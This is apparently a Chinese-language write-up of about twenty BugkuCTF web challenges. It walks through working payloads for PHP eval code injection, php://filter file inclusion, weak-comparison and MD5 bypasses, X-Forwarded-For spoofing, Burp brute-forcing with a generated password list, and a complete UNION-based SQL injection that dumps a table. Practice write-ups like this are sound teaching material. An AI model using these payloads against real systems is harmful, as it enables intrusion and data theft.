本文记录一下BugkuCTF上Web部分的前二十个题目。其他BugkuCTF的题目参见文末的链接。
web2
听说聪明的人都能找到答案
http://123.206.87.240:8002/web2/
相信所有人第一眼看到这个都是懵逼的，但是不要慌，Chrome按F12，可以看到源码
计算器
地址：http://123.206.87.240:8002/yanzhengma/
输入答案发现只能输入一个数字，F12查看源码发现是前端限制
修改"maxlength"或者直接访问js文件可得：
web基础$_GET
http://123.206.87.240:8002/get/
打开后是一段源码：
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
只需get传参即可：
http://123.206.87.240:8002/get/?what=flag
web基础$_POST
http://123.206.87.240:8002/post/
打开后同样是一段代码：
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
只需用hackbar来post传参即可：
what=flag
顺便记录一下get和post的request包的区别：
矛盾
http://123.206.87.240:8002/get/index1.php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
第一层if要求num不是数字或数字字符串，第二层if要求num==1，想到可能是%20、%00截断和php的弱类型比较
经尝试是php的弱类型比较，payload：
http://123.206.87.240:8002/get/index1.php?num=1a
详细了解php弱类型比较的相关知识可以看这篇文章：
web3
flag就在这里快来找找吧
http://123.206.87.240:8002/web3/
打开后再最下面发现可疑代码：
<!--KEY{J2sa42ahJK-HS11III}-->
使用在线工具http://ctf.ssleye.com/html_en.html解码可得：
<!--KEY{J2sa42ahJK-HS11III}-->
域名解析
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
这道题有两种做法，第一种是修改C:\Windows\System32\drivers\etc中的hosts文件，在最后加上：
120.24.86.145 flag.bugku.com
第二种是抓包后，将host字段改为"flag.baidu.com"：
你必须让他停下
地址：http://123.206.87.240:8002/web12/
访问页面发现不断刷新，查看源码：
<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.jpg" /></div></center><br><a style="display:none">flag is here~</a></body>
每500毫秒刷新一次，并且包含的图片每次都会改变，猜想某一张图片出现的时候会给出flag。于是抓包，repeat几次，发现有一次的response长度为630，其他时候为613或614，于是当图片为10.jpg的时候找到flag。
本地包含
地址：http://123.206.87.240:8003/
打开后看到代码如下：
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
eval() 函数把字符串按照 PHP 代码来执行。
var_dump() 打印变量的相关信息。
show_source() 函数对文件进行语法高亮显示。
@ 错误控制操作符，关闭错误回显。
get传参：
http://123.206.87.240:8003/?hello=file('flag.php')
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(
post传参：
http://123.206.87.240:8003/index.php?hello=1);include $_POST['f'];//
post data：f=php://filter/convert.base64-encode/resource=flag.php
变量1
http://123.206.87.240:8004/index1.php
打开后看到代码：
flag In the variable ! <?php
error_reporting(0); //关闭错误回显
include "flag1.php"; //引入flag1.php
highlight_file(__file__); //高亮代码
if(isset($_GET['args'])){ //若存在args参数
$args = $_GET['args']; //则赋值
if(!preg_match("/^\w+$/",$args)){ ///^开始, \w表示任意一个单词字符，即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次，$/结尾
die("args error!"); //匹配不到则结束
}
eval("var_dump($$args);"); //显示关于一个或多个表达式的结构信息
}
?>
经查阅writeup了解到php中有个超全局变量\(GLOBALS，php在名为 \)GLOBALS[index]的数组中存储了所有全局变量，变量的名字就是数组的键。
而$\(args可以看成\)($args)，构造?args=GLOBALS，源代码即：
eval("var_dump($GLOBALS);");
即可通过var_dump()将$GLOBALS数组中存放的所有变量以数组的方式输出
web5
JSPFUCK??????答案格式CTF{**}
http://123.206.87.240:8002/web5/
字母大写
打开网页有一个提交框，查看源代码看到一段jsfuck的代码：
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直接使用Chrome的控制台运行：
结合题目提示，将字母全改为大写：
CTF{WHATFK}
头等舱
http://123.206.87.240:9009/hd.php
有题目的名字想到在response中的headers里，果然：
网站被黑
http://123.206.87.240:8002/webshell/
这个题没技术含量但是实战中经常遇到
先用御剑扫一波：
用burp抓包并用intruder暴破一下：
跑出来pass=hack
管理员系统
flag格式flag{}
随便输入并登录：
查看源代码：
base64解码为：
test123
根据提示“IP禁止访问，请联系本地管理员登陆，IP已被记录.”想到使用X-Forwarded-For伪装本地：
得到flag：
web4
看看源代码吧
http://123.206.87.240:8002/web4/
都这么说了，乖乖看看源代码：
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>
将以上代码复制到Chrome控制台，并将最后一行代码改为：
p3 = unescape(p1) + unescape('%35%34%61%61%32' + p2);alert(p3);
弹窗中显示：
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
提交这段代码中的"67d709b2b54aa2aa648cf6e87a7114f1"，得到flag：
flag在index里
http://123.206.87.240:8005/post/
查看源码：
<html>
<title>Bugku-ctf</title>
<a href="./index.php?file=show.php">click me? no</a></html>
访问链接：
<html>
<title>Bugku-ctf</title>
test5</html>
使用file访问index.php，发现总是循环出现
<html>
<title>Bugku-ctf</title>
想到使用php的封装协议，并构造payload：
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
将返回的base64解码，得到flag：
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
这里使用filter协议并转码为base64传入，如果不进行转码，index会直接执行。
输入密码查看flag
http://123.206.87.240:8002/baopo/
根据提示需构造包含所有五位数的字典：00000-99999
写一个python脚本：
n = ''
with open('password.txt', 'a+')as f:
for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
n = str(a) + str(b) + str(c) + str(d) + str(e) + '\n'
f.write(n)
使用burp抓包，发至intruder，添加payload，暴破出结果13579：
点击一百万次
http://123.206.87.240:9001/test/
hints:JavaScript
查看源代码：
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>
尝试改变变量click的值，发现通过post传参可以实现：
备份是个好习惯
http://123.206.87.240:8002/web16/
听说备份是个好习惯
根据提示，使用御剑扫出index.php.bak，下载并查看源码：
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
再次用到php的弱类型比较。这里注意传参进行了一次过滤，构造payload：
http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708
得到flag：
成绩单
快来查查成绩吧
http://123.206.87.240:8002/chengjidan/
这是一个最基本的回显注入：
id=1' order by 4 %23
order by 4 时有回显，order by 5 时没有，得到列数为4
id=-1' UNION SELECT 1,2,3,4 %23
可以看到有4个回显位。
现将回显位清空，即查询一个不存在的id（例如-1），查询到存在fl4g,sc两个表。
id=-1' UNION SELECT group_concat(table_name),2,3,4 from information_schema.tables where table_schema = database() %23
将表名转16进制，并在前面加上0x，查询到列名为skctf_flag。
id=-1' UNION SELECT group_concat(column_name),2,3,4 from information_schema.columns where table_schema = database() and table_name = 0x666c3467%23
得到了表名和列名，直接查询字段，得到flag。
id=-1' UNION SELECT group_concat(skctf_flag),2,3,4 from fl4g %23
这里简单介绍一下sql注入基本知识。
version()-----显示MYSQL的版本。
user()--------链接数据库的用户。
database()----当前的数据库名称。
在MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。
schemata表提供了当前mysql实例中所有数据库的信息，show databases的结果取之此表；information_schema.tables表提供了关于数据库中的表的信息（包括视图），详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息；information_schema.columns表提供了表中的列信息，详细表述了某张表的所有列以及每个列的信息。
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